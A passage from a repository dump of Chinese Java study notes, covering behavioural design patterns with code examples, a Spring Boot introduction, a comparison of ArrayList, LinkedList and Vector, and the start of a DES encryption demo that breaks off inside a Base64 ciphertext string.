\n    public static void main(String[] args) {  \n        String exp = \"2+8\";  \n        ICalculator cal = new Plus();  \n        int result = cal.calculate(exp);  \n        System.out.println(result);  \n    }  \n} \n输出: \n10\n```\n策略模式的决定权在用户，系统本身提供不同算法的实现，新增或者删除算法，对各种算法做封装。因此，策略模式多用在算法决策系统中，外部用户只需要决定用哪个算法即可\n\n模板方法模式`(Template Method)`\n---\n\n一个抽象类中，有一个主方法，再定义1...n个方法，可以是抽象的，也可以是实际的方法，定义一个类，继承该抽象类，重写抽象方法，通过调用抽象类，实现对子类的调用，先看个关系图:   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/template.jpg?raw=true)   \n\n就是在`AbstractCalculator`类中定义一个主方法`calculate()`，`calculate()`调用`spilt()`等，`Plus`和`Minus`分别继承`AbstractCalculator`类，通过对`AbstractCalculator`的调用实现对子类的调用，看下面的例子:   \n\n```java\npublic abstract class AbstractCalculator {  \n    /*主方法，实现对本类其它方法的调用*/  \n    public final int calculate(String exp,String opt){  \n        int array[] = split(exp,opt);  \n        return calculate(array[0],array[1]);  \n    }  \n      \n    /*被子类重写的方法*/  \n    abstract public int calculate(int num1,int num2);  \n      \n    public int[] split(String exp,String opt){  \n        String array[] = exp.split(opt);  \n        int arrayInt[] = new int[2];  \n        arrayInt[0] = Integer.parseInt(array[0]);  \n        arrayInt[1] = Integer.parseInt(array[1]);  \n        return arrayInt;  \n    }  \n}\n\npublic class Plus extends AbstractCalculator {  \n  \n    @Override  \n    public int calculate(int num1,int num2) {  \n        return num1 + num2;  \n    }  \n}  \n```\n\n测试类:    \n\n```java\npublic static void main(String[] args) {  \n    String exp = \"8+8\";  \n    AbstractCalculator cal = new Plus();  \n    int result = cal.calculate(exp, \"\\\\+\");  \n    System.out.println(result);  \n}  \n```\n\n\n观察者模式`(Observer)`\n---\n\n观察者模式很好理解，类似于邮件订阅和`RSS`订阅，当我们浏览一些博客或`wiki`时，经常会看到`RSS`图标，就这的意思是，当你订阅了该文章，如果后续有更新，会及时通知你。简单的说就是当一个对象变化时，其它依赖该对象的对象都会收到通知，并且随着变化！对象之间是一种一对多的关系。\n\n在`Android`中我们常用的`Button.setOnClickListener()`其实就是用的观察者模式。大名鼎鼎的`RxJava`也是基于这种模式。  \n\n观察者:   \n```java\npublic interface Observer {  \n    public void update();  \n}  \n\npublic class Observer1 implements Observer {  \n    @Override  \n    public void update() {  \n        System.out.println(\"observer1 has received!\");  \n    }  \n} \npublic class Observer2 implements Observer {  \n    @Override  \n    public void update() {  \n        System.out.println(\"observer2 has received!\");  \n    }  \n  \n} \n```\n被观察者:     \n```java\npublic interface Subject {     \n    /*增加观察者*/  \n    public void add(Observer observer);  \n      \n    /*删除观察者*/  \n    public void del(Observer observer);  \n      \n    /*通知所有的观察者*/  \n    public void notifyObservers();  \n      \n    /*自身的操作*/  \n    public void operation();  \n}  \n\npublic abstract class AbstractSubject implements Subject {    \n    private Vector<Observer> vector = new Vector<>();  \n    @Override  \n    public void add(Observer observer) {  \n        vector.add(observer);  \n    }  \n  \n    @Override  \n    public void del(Observer observer) {  \n        vector.remove(observer);  \n    }  \n  \n    @Override  \n    public void notifyObservers() {  \n        Enumeration<Observer> enumo = vector.elements();  \n        while(enumo.hasMoreElements()){  \n            enumo.nextElement().update();  \n        }  \n    }  \n}  \n\npublic class MySubject extends AbstractSubject { \n    @Override  \n    public void operation() {  \n        System.out.println(\"update self!\");  \n        // 一旦发生了观察者所需要的动作，就需要去通知观察者们\n        notifyObservers();  \n    }  \n  \n}  \n```\n\n测试类:   \n\n```java\npublic static void main(String[] args) {  \n    Subject sub = new MySubject();  \n    sub.add(new Observer1());  \n    sub.add(new Observer2());  \n      \n    sub.operation();  \n}  \n```\n\n输出:  \n\n```java\nupdate self!\nobserver1 has received!\nobserver2 has received!\n```\n\n\n迭代器模式`(Iterator)`\n---\n\n迭代器模式就是顺序访问聚集中的对象，一般来说，集合中非常常见，如果对集合类比较熟悉的话，理解本模式会十分轻松。这句话包含两层意思：一是需要遍历的对象，即聚集对象，二是迭代器对象，用于对聚集对象进行遍历访问。\n\n`MyCollection`中定义了集合的一些操作，`MyIterator`中定义了一系列迭代操作，且持有`Collection`实例，我们来看看实现代码:   \n\n```java\npublic interface Collection {  \n    public Iterator iterator();  \n      \n    /*取得集合元素*/  \n    public Object get(int i);  \n      \n    /*取得集合大小*/  \n    public int size();  \n}\n\npublic interface Iterator {  \n    //前移  \n    public Object previous();  \n      \n    //后移  \n    public Object next();  \n    public boolean hasNext();  \n      \n    //取得第一个元素  \n    public Object first();  \n}  \n```\n\n具体实现类:   \n```java\npublic class MyCollection implements Collection {  \n    public String string[] = {\"A\",\"B\",\"C\",\"D\",\"E\"};  \n    @Override  \n    public Iterator iterator() {  \n        return new MyIterator(this);  \n    }  \n  \n    @Override  \n    public Object get(int i) {  \n        return string[i];  \n    }  \n  \n    @Override  \n    public int size() {  \n        return string.length;  \n    }  \n}  \npublic class MyIterator implements Iterator {  \n    private Collection collection;  \n    private int pos = -1;  \n      \n    public MyIterator(Collection collection){  \n        this.collection = collection;  \n    }  \n      \n    @Override  \n    public Object previous() {  \n        if(pos > 0){  \n            pos--;  \n        }  \n        return collection.get(pos);  \n    }  \n  \n    @Override  \n    public Object next() {  \n        if(pos<collection.size()-1){  \n            pos++;  \n        }  \n        return collection.get(pos);  \n    }  \n  \n    @Override  \n    public boolean hasNext() {  \n        if(pos<collection.size()-1){  \n            return true;  \n        }else{  \n            return false;  \n        }  \n    }  \n  \n    @Override  \n    public Object first() {  \n        pos = 0;  \n        return collection.get(pos);  \n    }  \n}  \n```\n\n测试类:   \n```java\npublic static void main(String[] args) {  \n    Collection collection = new MyCollection();  \n    Iterator it = collection.iterator();  \n      \n    while(it.hasNext()){  \n        System.out.println(it.next());  \n    }  \n} \n```\n\n输出:  \n```\nA B C D E\n```\n\n责任链模式`(Chain of Responsibility)`\n---\n\n有多个对象，每个对象持有对下一个对象的引用，这样就会形成一条链，请求在这条链上传递，直到某一对象决定处理该请求。但是发出者并不清楚到底最终那个对象会处理该请求，所以，责任链模式可以实现，在隐瞒客户端的情况下，对系统进行动态的调整。先看看关系图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/zerenlian.jpg?raw=true)  \n\n`Abstracthandler`类提供了`get`和`set`方法，方便`MyHandler`类设置和修改引用对象，`MyHandler`类是核心，实例化后生成一系列相互持有的对象，构成一条链。\n\n```java\npublic interface IHandler {  \n    public void operator();  \n}  \n\npublic abstract class AbstractHandler {     \n    private IHandler handler;  \n  \n    public IHandler getHandler() {  \n        return handler;  \n    }  \n  \n    public void setHandler(IHandler handler) {  \n        this.handler = handler;  \n    }  \n}  \n\npublic class MyHandler extends AbstractHandler implements IHandler {  \n    private String name;  \n  \n    public MyHandler(String name) {  \n        this.name = name;  \n    }  \n  \n    @Override  \n    public void operator() {  \n        System.out.println(name+\"deal!\");  \n        if(getHandler()!=null){  \n            getHandler().operator();  \n        }  \n    }  \n}  \n```\n\n测试类:    \n```java\n public static void main(String[] args) {  \n    MyHandler h1 = new MyHandler(\"h1\");  \n    MyHandler h2 = new MyHandler(\"h2\");  \n    MyHandler h3 = new MyHandler(\"h3\");  \n\n    h1.setHandler(h2);  \n    h2.setHandler(h3);  \n\n    h1.operator();  \n} \n```\n\n输出:   \n```\nh1deal!\nh2deal!\nh3deal!\n```\n链接上的请求可以是一条链，可以是一个树，还可以是一个环，模式本身不约束这个，需要我们自己去实现，同时，在一个时刻，命令只允许由一个对象传给另一个对象，而不允许传给多个对象。\n\n\n\n命令模式`(Command)`\n---\n\n\n命令模式很好理解，举个例子，司令员下令让士兵去干件事情，从整个事情的角度来考虑，司令员的作用是，发出口令，口令经过传递，传到了士兵耳朵里，士兵去执行。这个过程好在，三者相互解耦，任何一方都不用去依赖其他人，只需要做好自己的事儿就行，司令员要的是结果，不会去关注到底士兵是怎么实现的。我们看看关系图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/command.jpg?raw=true)  \n\n`Invoker`是调用者（司令员），`Receiver`是被调用者（士兵），`MyCommand`是命令，实现了`Command`接口，持有接收对象，看实现代码:    \n\n```java\npublic interface Command {  \n    public void exe();  \n}  \n\npublic class MyCommand implements Command {  \n    private Receiver receiver;  \n      \n    public MyCommand(Receiver receiver) {  \n        this.receiver = receiver;  \n    }  \n  \n    @Override  \n    public void exe() {  \n        receiver.action();  \n    }  \n} \npublic class Receiver {  \n    public void action(){  \n        System.out.println(\"command received!\");  \n    }  \n}\n\npublic class Invoker {  \n    private Command command;  \n      \n    public Invoker(Command command) {  \n        this.command = command;  \n    }  \n  \n    public void action(){  \n        command.exe();  \n    }  \n}  \n\npublic static void main(String[] args) {  \n    Receiver receiver = new Receiver();  \n    Command cmd = new MyCommand(receiver);  \n    Invoker invoker = new Invoker(cmd);  \n    invoker.action();  \n    // 输出:command received!\n}  \n```\n\n命令模式的目的就是达到命令的发出者和执行者之间解耦，实现请求和执行分开，熟悉`Struts`的同学应该知道，`Struts`其实就是一种将请求和呈现分离的技术，其中必然涉及命令模式的思想！\n\n\n备忘录模式`(Memento)`\n---\n\n\n主要目的是保存一个对象的某个状态，以便在适当的时候恢复对象，个人觉得叫备份模式更形象些，通俗的讲下：假设有原始类A，A中有各种属性，A可以决定需要备份的属性，备忘录类B是用来存储A的一些内部状态，类C呢，就是一个用来存储备忘录的，且只能存储，不能修改等操作。做个图来分析一下：\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/memento.jpg?raw=true)  \n\n`Original`类是原始类，里面有需要保存的属性`value`及创建一个备忘录类，用来保存`value`值。`Memento`类是备忘录类，`Storage`类是存储备忘录的类，持有`Memento`类的实例，该模式很好理解。直接看源码：\n\n```java\npublic class Original {  \n    private String value;  \n      \n    public String getValue() {  \n        return value;  \n    }  \n  \n    public void setValue(String value) {  \n        this.value = value;  \n    }  \n  \n    public Original(String value) {  \n        this.value = value;  \n    }  \n  \n    public Memento createMemento(){  \n        return new Memento(value);  \n    }  \n      \n    public void restoreMemento(Memento memento){  \n        this.value = memento.getValue();  \n    }  \n}  \n\npublic class Memento {  \n    private String value;  \n  \n    public Memento(String value) {  \n        this.value = value;  \n    }  \n  \n    public String getValue() {  \n        return value;  \n    }  \n  \n    public void setValue(String value) {  \n        this.value = value;  \n    }  \n} \n\npublic class Storage {  \n    private Memento memento;  \n      \n    public Storage(Memento memento) {  \n        this.memento = memento;  \n    }  \n  \n    public Memento getMemento() {  \n        return memento;  \n    }  \n  \n    public void setMemento(Memento memento) {  \n        this.memento = memento;  \n    }  \n}  \n\n测试类:    \npublic static void main(String[] args) {  \n    // 创建原始类  \n    Original origi = new Original(\"egg\");  \n\n    // 创建备忘录  \n    Storage storage = new Storage(origi.createMemento());  \n\n    // 修改原始类的状态  \n    System.out.println(\"初始化状态为：\" + origi.getValue());  \n    origi.setValue(\"niu\");  \n    System.out.println(\"修改后的状态为：\" + origi.getValue());  \n\n    // 回复原始类的状态  \n    origi.restoreMemento(storage.getMemento());  \n    System.out.println(\"恢复后的状态为：\" + origi.getValue());  \n} \n\n输出：\n\n初始化状态为：egg\n修改后的状态为：niu\n恢复后的状态为：egg \n```\n新建原始类时，`value`被初始化为`egg`，后经过修改，将`value`的值置为`niu`，最后倒数第二行进行恢复状态，结果成功恢复了。其实我觉得这个模式叫“备份-恢复”模式最形象。\n\n\n状态模式`(State)`\n---\n\n\n核心思想就是:当对象的状态改变时，同时改变其行为，很好理解！就拿QQ来说，有几种状态，在线、隐身、忙碌等，每个状态对应不同的操作，而且你的好友也能看到你的状态，所以，状态模式就两点:       \n\n- 可以通过改变状态来获得不同的行为\n- 你的好友能同时看到你的变化\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/state.jpg?raw=true)  \n\n\n\n`State`类是个状态类，`Context`类可以实现切换，我们来看看代码:   \n\n```java\npublic class State {  \n    private String value;  \n      \n    public String getValue() {  \n        return value;  \n    }  \n  \n    public void setValue(String value) {  \n        this.value = value;  \n    }  \n  \n    public void method1(){  \n        System.out.println(\"execute the first opt!\");  \n    }  \n      \n    public void method2(){  \n        System.out.println(\"execute the second opt!\");  \n    }  \n}  \n\npublic class Context {  \n    private State state;  \n  \n    public Context(State state) {  \n        this.state = state;  \n    }  \n  \n    public State getState() {  \n        return state;  \n    }  \n  \n    public void setState(State state) {  \n        this.state = state;  \n    }  \n  \n    public void method() {  \n        if (state.getValue().equals(\"state1\")) {  \n            state.method1();  \n        } else if (state.getValue().equals(\"state2\")) {  \n            state.method2();  \n        }  \n    }  \n}  \n```\n\n测试类:    \n\n```java\npublic static void main(String[] args) {      \n    State state = new State();  \n    Context context = new Context(state);  \n      \n    //设置第一种状态  \n    state.setValue(\"state1\");  \n    context.method();  \n      \n    //设置第二种状态  \n    state.setValue(\"state2\");  \n    context.method();  \n} \n\n输出:   \nexecute the first opt!\nexecute the second opt!\n```\n\n根据这个特性，状态模式在日常开发中用的挺多的，尤其是做网站的时候，我们有时希望根据对象的某一属性，区别开他们的一些功能，比如说简单的权限控制等。\n\n访问者模式`(Visitor)`\n---\n\n\n访问者模式把数据结构和作用于结构上的操作解耦合，使得操作集合可相对自由地演化。访问者模式适用于数据结构相对稳定算法又易变化的系统。因为访问者模式使得算法操作增加变得容易。若系统数据结构对象易于变化，经常有新的数据对象增加进来，则不适合使用访问者模式。访问者模式的优点是增加操作很容易，因为增加操作意味着增加新的访问者。访问者模式将有关行为集中到一个访问者对象中，其改变不影响系统数据结构。其缺点就是增加新的数据结构很困难。\n\n简单来说，访问者模式就是一种分离对象数据结构与行为的方法，通过这种分离，可达到为一个被访问者动态添加新的操作而无需做其它的修改的效果。\n\n示例:银行柜台提供的服务和来办业务的人。把银行的服务和业务的办理解耦了。\n缺点：如果银行要修改底层业务接口，所有继承接口的类都需要作出修改。不过java8的新特性接口默认方法可以解决这个问题，或者java8之前可以通过接口的适配器模式来解决这个问题。   \n\n```java\n\t// 银行柜台服务，以后银行要新增业务，只需要新增一个类实现这个接口就可以了。\n    public interface Service {\n        void accept(Visitor visitor);\n    }\n\n    // 来办业务的人，里面可以加上权限控制等等\n    static class Visitor {\n        public void process(Service service) {\n            // 基本业务\n            System.out.println(\"基本业务\");\n        }\n\n        public void process(Saving service) {\n            // 存款\n            System.out.println(\"存款\");\n        }\n\n        public void process(Draw service) {\n            // 提款\n            System.out.println(\"提款\");\n        }\n\n        public void process(Fund service) {\n            System.out.println(\"基金\");\n            // 基金\n        }\n    }\n\n    static class Saving implements Service {\n        public void accept(Visitor visitor) {\n            visitor.process(this);\n        }\n    }\n\n    static class Draw implements Service {\n        public void accept(Visitor visitor) {\n            visitor.process(this);\n        }\n    }\n\n    static class Fund implements Service {\n        public void accept(Visitor visitor) {\n            visitor.process(this);\n        }\n    }\n\n    public static void main(String[] args) {\n        Service saving = new Saving();\n        Service fund = new Fund();\n        Service draw = new Draw();\n        Visitor visitor = new Visitor();\n        Visitor guweiwei = new Visitor();\n        fund.accept(guweiwei);\n        saving.accept(visitor);\n        fund.accept(visitor);\n        draw.accept(visitor);\n        // 输出：\n        // 基金\n        // 存款\n        // 基金\n        // 提款\n    }\n}\n```\n\n该模式适用场景：如果我们想为一个现有的类增加新功能，不得不考虑几个事情:      \n\n- 新功能会不会与现有功能出现兼容性问题？\n- 以后会不会再需要添加?\n- 如果类不允许修改代码怎么办？\n\n面对这些问题，最好的解决方法就是使用访问者模式，访问者模式适用于数据结构相对稳定的系统，把数据结构和算法解耦，\n\n中介者模式`(Mediator)`\n---\n\n\n中介者模式也是用来降低类类之间的耦合的，因为如果类类之间有依赖关系的话，不利于功能的拓展和维护，因为只要修改一个对象，其它关联的对象都得进行修改。\n如果使用中介者模式，只需关心和`Mediator`类的关系，具体类类之间的关系及调度交给`Mediator`就行，这有点像`spring`容器的作用。\n\n\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/mediator.jpg?raw=true)  \n\n`User`类统一接口，`User1`和`User2`分别是不同的对象，二者之间有关联，如果不采用中介者模式，则需要二者相互持有引用，这样二者的耦合度很高，为了解耦，\n引入了`Mediator`类，提供统一接口，`MyMediator`为其实现类，里面持有`User1`和`User2`的实例，用来实现对`User1`和`User2`的控制。\n\n这样`User1`和`User2`两个对象相互独立，他们只需要保持好和`Mediator`之间的关系就行，剩下的全由`MyMediator`类来维护。   \n\n```java\npublic interface IMediator {  \n    public void createMediator();  \n    public void workAll();  \n}  \n\n\npublic class MyMediator implements IMediator {  \n    private User user1;  \n    private User user2;  \n      \n    public User getUser1() {  \n        return user1;  \n    }  \n  \n    public User getUser2() {  \n        return user2;  \n    }  \n  \n    @Override  \n    public void createMediator() {  \n        user1 = new User1(this);  \n        user2 = new User2(this);  \n    }  \n  \n    @Override  \n    public void workAll() {  \n        user1.work();  \n        user2.work();  \n    }  \n}  \n\n\npublic abstract class User {        \n    private Mediator mediator;  \n      \n    public Mediator getMediator(){  \n        return mediator;  \n    }  \n      \n    public User(Mediator mediator) {  \n        this.mediator = mediator;  \n    }  \n  \n    public abstract void work();  \n}  \n\npublic class User1 extends User {  \n    public User1(Mediator mediator){  \n        super(mediator);  \n    }  \n      \n    @Override  \n    public void work() {  \n        System.out.println(\"user1 exe!\");  \n    }  \n}  \n\npublic class User2 extends User {  \n    public User2(Mediator mediator){  \n        super(mediator);  \n    }  \n      \n    @Override  \n    public void work() {  \n        System.out.println(\"user2 exe!\");  \n    }  \n}  \n```\n\n测试类:    \n```java\npublic static void main(String[] args) {  \n    Mediator mediator = new MyMediator();  \n    mediator.createMediator();  \n    mediator.workAll();  \n    // 输出:   \n    // user1 exe!\n    // user2 exe!\n}  \n```\n\n\n解释器模式`(Interpreter)`\n---\n\n解释器模式是我们暂时的最后一讲，一般主要应用在`OOP`开发中的编译器的开发中，所以适用面比较窄。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/interpreter.jpg?raw=true)  \n\n\n`Context`类是一个上下文环境类，`Plus`和`Minus`分别是用来计算的实现，代码如下:   \n\n```java\npublic interface Expression {  \n    public int interpret(Context context);  \n}  \n\npublic class Plus implements Expression {  \n    @Override  \n    public int interpret(Context context) {  \n        return context.getNum1()+context.getNum2();  \n    }  \n}  \n\npublic class Minus implements Expression {  \n    @Override  \n    public int interpret(Context context) {  \n        return context.getNum1()-context.getNum2();  \n    }  \n}  \n\npublic class Context {  \n    private int num1;  \n    private int num2;  \n      \n    public Context(int num1, int num2) {  \n        this.num1 = num1;  \n        this.num2 = num2;  \n    }  \n      \n    public int getNum1() {  \n        return num1;  \n    }  \n    public void setNum1(int num1) {  \n        this.num1 = num1;  \n    }  \n    public int getNum2() {  \n        return num2;  \n    }  \n    public void setNum2(int num2) {  \n        this.num2 = num2;  \n    }  \n}  \n```\n\n测试类:    \n```java\npublic static void main(String[] args) {  \n    // 计算9+2-8的值  \n    int result = new Minus().interpret((new Context(new Plus()  \n            .interpret(new Context(9, 2)), 8)));  \n    System.out.println(result);  \n    // 输出:3\n}  \n```\n基本就这样，解释器模式用来做各种各样的解释器，如正则表达式等的解释器等等！\n\n\t\t\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Javaee/Spring-boot入门.md",
    "content": "# Spiring-boot入门\n\n> 最入门级别的Spring框架，省了很多配置的过程，比较适合初学者，或者微站的使用，所以打算从这里开始学起。\n\n学习的地址：https://www.bysocket.com/?p=1627\n\n包目录结构：\n\n![](https://ws1.sinaimg.cn/large/006tNc79ly1flcxydakxlj30km0zyt9d.jpg)\n\n这里面分了很多层，主要有的层就是，controller,dao,domain,service,Application。\n\nSpringBoot的优势就在于它内置了TomCat,并且不需要过多的配置就可以直接使用，也不用配置Spring那一套。\n\n这次实现的是springboot-restful的过程，rest是web的一种框架风格，主要用于前后端分离。\n\n首先我们要实现一个controller，这里面负责拦截用户的url，然后可以设置是GET还是POST的方法，同时我们还需要实现一个dao层，这层是用来负责数据持久化的，简单说就是这里和数据进行的直接接触。接下来要实现一个domain层，这一层大家应该都能明白有的时候我们叫它model有的时候叫它bean，接下来就要实现service层了，这一层中我们需要定义一个接口，并且编写一个它的实现类就可以了，我们在controller中调用的便是这一层的内容。\n\n其实我们的代码，以上便已经编写完成了，但是我们还有几个点是没有完成的，我们的sql语句还没有配置呢。我们需要在resources/mapper/CityMapper.xml内中写入。在resources/application.properties中写入数据库的信息，配置一下就好。\n\n代码地址：https://github.com/linsir6/Javaee-Spring-demo\n\n博主在Spring方面也是刚刚起步的小菜鸟，写以上内容只是为了，记录学习笔记，要是有什么错误，欢迎大家提出指正。\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/ArrayList、LinkedList、Vector的异同.md",
    "content": "# ArrayList、LinkedList、Vector的异同\n\n我们可以看出ArrayList、LinkedList、Vector都实现了List的接口。\n\n接下来分别看一下三个数据结构的说明：\n\n- 首先是ArrayList\n\n``public class **ArrayList<E>** extends AbstractList<E>\nimplements List<E>, RandomAccess, Cloneable, Serializable``\n\nList 接口的**大小可变数组**的实现。实现了所有可选列表操作，并**允许包括 null 在内的所有元素**。除了实现 List 接口外，此类还提供一些方法来操作内部用来存储列表的数组的大小。（此类大致上等同于 Vector 类，除了**此类是不同步的**。）\n\n每个 ArrayList 实例都有一个容量。该容量是指用来存储列表元素的数组的大小。它总是至少等于列表的大小。随着向 ArrayList 中不断添加元素，其容量也自动增长。并未指定增长策略的细节，因为这不只是添加元素会带来分摊固定时间开销那样简单。\n\n在添加大量元素前，应用程序可以使用 ensureCapacity 操作来增加 ArrayList 实例的容量。这可以减少递增式再分配的数量。\n\n``List list = Collections.synchronizedList(new ArrayList(...)); ``\n        \n此类的 iterator 和 listIterator 方法返回的迭代器是快速失败的：在创建迭代器之后，除非通过迭代器自身的 remove 或 add 方法从结构上对列表进行修改，否则在任何时间以任何方式对列表进行修改，迭代器都会抛出 ConcurrentModificationException。因此，面对并发的修改，迭代器很快就会完全失败，而不是冒着在将来某个不确定时间发生任意不确定行为的风险。\n注意，迭代器的快速失败行为无法得到保证，因为一般来说，不可能对是否出现不同步并发修改做出任何硬性保证。快速失败迭代器会尽最大努力抛出 ConcurrentModificationException。因此，为提高这类迭代器的正确性而编写一个依赖于此异常的程序是错误的做法：迭代器的快速失败行为应该仅用于检测 bug。\n\n- 然后是LinkedList\n \n\n``public class **LinkedList**<E>  extends AbstractSequentialList<E>\nimplements List<E>, Deque<E>, Cloneable, Serializable``\n\nList 接口的链接列表实现。实现所有可选的列表操作，并且允许所有元素（**包括 null**）。除了实现 List 接口外，LinkedList 类还为在列表的开头及结尾 get、remove 和 insert 元素提供了统一的命名方法。这些操作允许将链接列表用作堆栈、队列或双端队列。\n\n此类实现 Deque 接口，为 add、poll 提供先进先出队列操作，以及其他堆栈和双端队列操作。\n\n所有操作都是按照**双重链接列表**的需要执行的。在列表中编索引的操作将从开头或结尾遍历列表（从靠近指定索引的一端）。\n\n注意，此实现**不是同步**的。如果多个线程同时访问一个链接列表，而其中至少一个线程从结构上修改了该列表，则它必须 保持外部同步。（结构修改指添加或删除一个或多个元素的任何操作；仅设置元素的值不是结构修改。）这一般通过**对自然封装该列表的对象进行同步操作来完成**。如果不存在这样的对象，则应该使用 Collections.synchronizedList 方法来“包装”该列表。最好在创建时完成这一操作，以防止对列表进行意外的不同步访问，如下所示：\n\n``List list = Collections.synchronizedList(new LinkedList(...));``\n  \n此类的 iterator 和 listIterator 方法返回的迭代器是快速失败 的：在迭代器创建之后，如果从结构上对列表进行修改，除非通过迭代器自身的 remove 或 add 方法，其他任何时间任何方式的修改，迭代器都将抛出 ConcurrentModificationException。因此，面对并发的修改，迭代器很快就会完全失败，而不冒将来不确定的时间任意发生不确定行为的风险。\n\n注意，迭代器的快速失败行为不能得到保证，一般来说，存在不同步的并发修改时，不可能作出任何硬性保证。快速失败迭代器尽最大努力抛出 ConcurrentModificationException。因此，编写依赖于此异常的程序的方式是错误的，正确做法是：迭代器的快速失败行为应该仅用于检测程序错误。\n\n- 最后是Vector\n\npublic class **Vector**<E> extends AbstractList<E>\nimplements List<E>, RandomAccess, Cloneable, Serializable\n\nVector 类可以**实现可增长的对象数组**。与数组一样，它包含可以使用整数索引进行访问的组件。但是，Vector 的大小可以根据需要增大或缩小，以适应创建 Vector 后进行添加或移除项的操作。\n\n每个向量会试图通过维护 capacity 和 capacityIncrement 来优化存储管理。capacity 始终至少应与向量的大小相等；这个值通常比后者大些，因为随着将组件添加到向量中，其存储将按 capacityIncrement 的大小增加存储块。应用程序可以在插入大量组件前增加向量的容量；这样就减少了增加的重分配的量。\n\n由 Vector 的 iterator 和 listIterator 方法所返回的迭代器是快速失败的：如果在迭代器创建后的任意时间从结构上修改了向量（通过迭代器自身的 remove 或 add 方法之外的任何其他方式），则迭代器将抛出 ConcurrentModificationException。因此，面对并发的修改，迭代器很快就完全失败，而不是冒着在将来不确定的时间任意发生不确定行为的风险。Vector 的 elements 方法返回的 Enumeration 不是 快速失败的。\n\n注意，迭代器的快速失败行为不能得到保证，一般来说，存在不同步的并发修改时，不可能作出任何坚决的保证。快速失败迭代器尽最大努力抛出 ConcurrentModificationException。因此，编写依赖于此异常的程序的方式是错误的，正确做法是：迭代器的快速失败行为应该仅用于检测 bug。\n\n从 Java 2 平台 v1.2 开始，此类改进为可以实现 List 接口，使它成为 Java Collections Framework 的成员。与新 collection 实现不同，**Vector 是同步的**。\n\n----\n\n - 区别\n    \n\n\tArrayList 本质上是一个可改变大小的**数组**.当元素加入时,其大小将会动态地增长.内部的元素可以直接通过get与set方法进行访问.元素顺序存储 ,**随机访问很快，删除非头尾元素慢，新增元素慢而且费资源** ,较适用于无频繁增删的情况 ,比数组效率低，如果不是需要可变数组，可考虑使用数组 ,**非线程安全**.\n\n\tLinkedList 是一个**双链表**,在添加和删除元素时具有比ArrayList更好的性能.但在get与set方面弱于ArrayList. 适用于 ：没有大规模的随机读取，大量的增加/删除操作.**随机访问很慢，增删操作很快**，不耗费多余资源 ,允许null元素,**非线程安全.** \n\n\tVector （类似于ArrayList）但其是**同步**的，开销就比ArrayList要大。如果你的程序本身是线程安全的，那么使用ArrayList是更好的选择。\nVector和ArrayList在更多元素添加进来时会请求更大的空间。Vector每次请求其大小的双倍空间，而ArrayList每次对size增长50%.\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/Des加密算法.md",
    "content": "# Des加密算法\n\n> des加密算法，是一个对称的加密算法，目前被广泛应用，所以打算写一个demo。\n\n\n```\npackage com.dao;\n\nimport com.sun.org.apache.xerces.internal.impl.dv.util.Base64;\nimport sun.misc.BASE64Decoder;\nimport sun.misc.BASE64Encoder;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.SecretKey;\nimport javax.crypto.SecretKeyFactory;\nimport javax.crypto.spec.DESKeySpec;\nimport java.io.IOException;\nimport java.security.SecureRandom;\n\n/**\n * Created by linSir on 2017/6/22.des加密算法\n */\npublic class Test {\n\n    public static void main(String args[]) throws IOException {\n\n\n        //加密\n        //byte[] result = Test.encrypt(str.getBytes(),password);\n        //BASE64Encoder base64encoder = new BASE64Encoder();\n        //String encode=base64encoder.encode(result);\n\n        String miwen = \"ZraEmkLPeVT1CBGRpcbXTfVRhUWt6riMMh8UoWcVEClwLcCRuJoMmZW+IS5MYshasXVUu1VIFeqE\\n\" +\n                \"ySjMvDvu4z6GxUR7BVq95mfILIT6kvCLW1rvgJoZGlkXzDW7R+n8R/POzu61cfKejnMnW0HiRmsK\\n\" +\n                \"CNLB3zf0KYfB5H0x0+GUtXQmtQyG0x5tQSyHSWOdQVyEj7mYFw4h6uFhN94ifgZq8ohpUduWZBgU\\n\" +\n                \"EN3B4akKt8+oPQPFv1GvrFucOmrfDpyTy+YuLZZ0nlPA5AYTa2TnC++ZPPo62XW4O2EZ0qGXcuO1\\n\" +\n                \"3zHfq8mmtdQ7DbGN2JIBNLL/EN97o7pHRkVNbB9/eHElf37MghHZWTUfIlvRtSTwaWkW3IR2aWzj\\n\" +\n                \"GQXrdqErVUdcTvLH2fGnInYU6XAtwJG4mgyZG6OZZ89Yg9iOcWG4GruJvFEa/UQNDmbS+vyvWpP/\\n\" +\n                \"75zOiDos5s5yeJUcUaJt+SkUR7z5yr7bbK/DHkS5aEvfNI/nL4Z4DrGN++9Uzv34XD4ZTg0csEuL\\n\" +\n                \"96+LAUKED43iaJUo6wruiZ/7KmpvP5p3ii5p03Z1ymscmTlqUTZ55YFBCz3dZg8OSGIlKj+7uaYF\\n\" +\n                \"umweL38ksAtVL1wjgWMVF+9oYUie/jf6+mAdmvwiACoGu71ZziWc4tz1UPb27Qx4Qf0h/nItAkuT\\n\" +\n                \"yLK6+Hx0+GQ2weK2q95kgf8zUs1igyhu1VdMGHbp/Ma3DyJIo6wPgwRlpFedCq0/w7ECGGPHfLUb\\n\" +\n                \"eNmBK3nCqqN7TABiLfHfzR8mBjjMcJQ1MtGGwZB6H6zAGkcSEQqHgsTbnG6t8GvS06t9eepMn6VG\\n\" +\n                \"7X+dS4LUS9LpIZ/OgNwxvyxd3vw/dKn9u0OLgvJRGv1EDQ5m0t80qIo6RxHCLmnTdnXKaxxFIhNG\\n\" +\n                \"caq19CPEthsSFziTHlX/qM5g/yCwbN9+qClQ0z5VI/ZGUAcs9Cz3WjimPGKNyLa+AKgUE7dh4sFr\\n\" +\n                \"vQGrlRxRom35KRRRd/VE9Goz3EAcQQ1NhiDMYobeoH0as5XkG3hTF2zZyfn/QJZnNwh4GxCLkZPS\\n\" +\n                